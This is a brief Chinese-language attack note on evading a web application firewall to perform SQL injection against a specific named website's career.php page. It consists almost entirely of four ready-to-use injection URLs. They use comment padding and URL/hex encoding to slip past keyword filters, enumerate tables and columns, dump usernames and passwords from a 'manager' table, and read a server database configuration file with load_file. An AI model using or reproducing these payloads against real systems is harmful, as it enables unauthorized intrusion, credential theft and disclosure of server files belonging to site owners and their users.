繞過waf注入

waf過濾了 union select  from 等關鍵詞

1.列當前庫所有表

http://jyht.co.uk/career.php

?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18

2.獲取字段

http://jyht.co.uk/career.php

?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32

3.直接獲取數據

http://jyht.co.uk/career.php

?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72

4.讀文件 可以不用hex  直接在頁面顯示(必須是root)

http://jyht.co.uk/career.php

?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E706870)),6,7,8,9,10,11,12,13,14,15,16,17,18